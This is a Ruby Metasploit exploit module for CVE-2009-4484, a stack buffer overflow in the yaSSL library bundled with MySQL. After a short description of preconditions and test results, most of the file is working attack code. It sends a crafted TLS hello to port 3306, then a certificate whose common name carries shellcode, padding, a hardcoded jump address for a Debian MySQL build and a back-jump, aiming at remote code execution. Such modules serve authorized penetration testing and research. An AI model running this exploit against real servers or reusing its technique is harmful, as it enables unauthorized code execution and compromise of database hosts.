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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
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        implementation bundled with MySQL. By sending a specially crafted
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        client certificate, an attacker can execute arbitrary code.
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        This vulnerability is present within the CertDecoder::GetName function inside
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        "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
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        within a parent function's stack frame.
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        NOTE: This vulnerability requires a non-default configuration. First, the attacker
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        must be able to pass the host-based authentication. Next, the server must be
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        configured to listen on an accessible network interface.  Lastly, the server
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        must have been manually configured to use SSL.
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        The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
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        on Windows XP SP3, these protections successfully prevented exploitation.
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        Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
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        present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
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        package were not exploitable due to the use of the compiler's FORTIFY feature.
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        Although suse11 was mentioned in the original blog post, the binary package they
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        provide does not contain yaSSL or support SSL.
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      },
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      'Author'         => [ 'jduck' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2009-4484' ],
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          [ 'BID', '37640' ],
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          [ 'BID', '37943' ],
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          [ 'BID', '37974' ],
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          [ 'OSVDB', '61956' ],
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          [ 'URL', 'http://web.archive.org/web/20100129041727/http://secunia.com:80/advisories/38344/' ]
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 1046,
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          'BadChars' => "",
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          'StackAdjustment' => -3500,
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          'DisableNops' => true
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        },
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      'Platform'       => 'linux',
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      'Targets'        =>
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        [
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          [ 'Automatic', { } ],
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          [ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)',  { 'JmpEsp' => 0x0807dc34 } ]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2010-01-25'))
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    register_options([ Opt::RPORT(3306) ], self)
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  end
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  def exploit
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    connect
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    # read the mysql server hello :)
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    version = nil
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    if (buf = sock.get_once(-1, 5) || '')
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      #print_status("\n" + Rex::Text.to_hex_dump(buf))
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      if (buf =~ /is not allowed to connect/)
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        fail_with(Failure::Unreachable, 'The server refused our connection!')
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      end
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      len1,cmd = buf[0,5].unpack('VC')
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      rest = buf[5,len1]
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      idx = rest.index("\x00")
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      if (idx)
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        version = rest[0,idx]
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        print_status("Server reports version: #{version}")
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      end
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    end
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    # handle automatic target selection
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    mytarget = nil
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    if (target.name =~ /Automatic/)
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      print_status("Attempting to locate a corresponding target")
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      version = "(" + version + ")"
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      targets.each { |tgt|
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        if (tgt.name.include?(version))
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          mytarget = tgt
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        end
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      }
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      if (not mytarget)
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        fail_with(Failure::NoTarget, 'Unable to detect target automatically')
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      else
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        print_status("Using automatically detected target: #{mytarget.name}")
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      end
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    else
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      mytarget = target
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      print_status("Trying target #{mytarget.name}...")
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    end
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    # create/send the hello packet
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    hello = [0x01000020].pack('V')
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    hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"
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    hello << "\x00" * 20
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    hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
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    hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
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    hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
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    hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
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    hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
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    hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
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    hello << "\x00\x03\x02\x01\x00"
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    sock.put(hello)
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    # build a cn that will trigger the vulnerability
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    cn = rand_text(payload_space - payload.encoded.length)
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    cn << payload.encoded
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    cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)
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    # NOTE: x in above (also gets passed to free())
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    pad = 1074 - payload_space
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    cn << rand_text(pad)
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    cn << [mytarget['JmpEsp']].pack('V')
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    distance = 4 + pad + 8 + payload.encoded.length
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    cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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    cert = "\x2a\x86\x00\x84"
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    cert << [cn.length].pack('N')
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    cert << cn
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    cert = "\x30"+
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      "\x82\x01\x01"+
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      "\x31"+
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      "\x82\x01\x01"+
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      "\x30"+
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      "\x82\x01\x01"+
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      "\x06"+
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      "\x82\x00\x02" +
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      cert
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    cert = "\xa0\x03" +
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      "\x02\x01\x02" +
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      "\x02\x01\x00" +
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      "\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
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      cert
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    # wrap in 2 sequences
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    cert = SNMP::BER.encode_tlv(0x30, cert)
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    cert = SNMP::BER.encode_tlv(0x30, cert)
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    cert1 = big_endian_24bit(cert.length) + cert
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    certs = big_endian_24bit(cert1.length) + cert1
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    handshake = "\x0b" +  big_endian_24bit(certs.length) + certs
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    msg = "\x16\x03\x01"
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    msg << [handshake.length].pack('n')
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    msg << handshake
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    sock.put(msg)
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    handler
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    disconnect
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  end
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  def big_endian_24bit(len)
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    uno = (len >> 16) & 0xff
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    dos = (len >> 8) & 0xff
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    tre = len & 0xff
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    [uno,dos,tre].pack('C*')
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  end
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end
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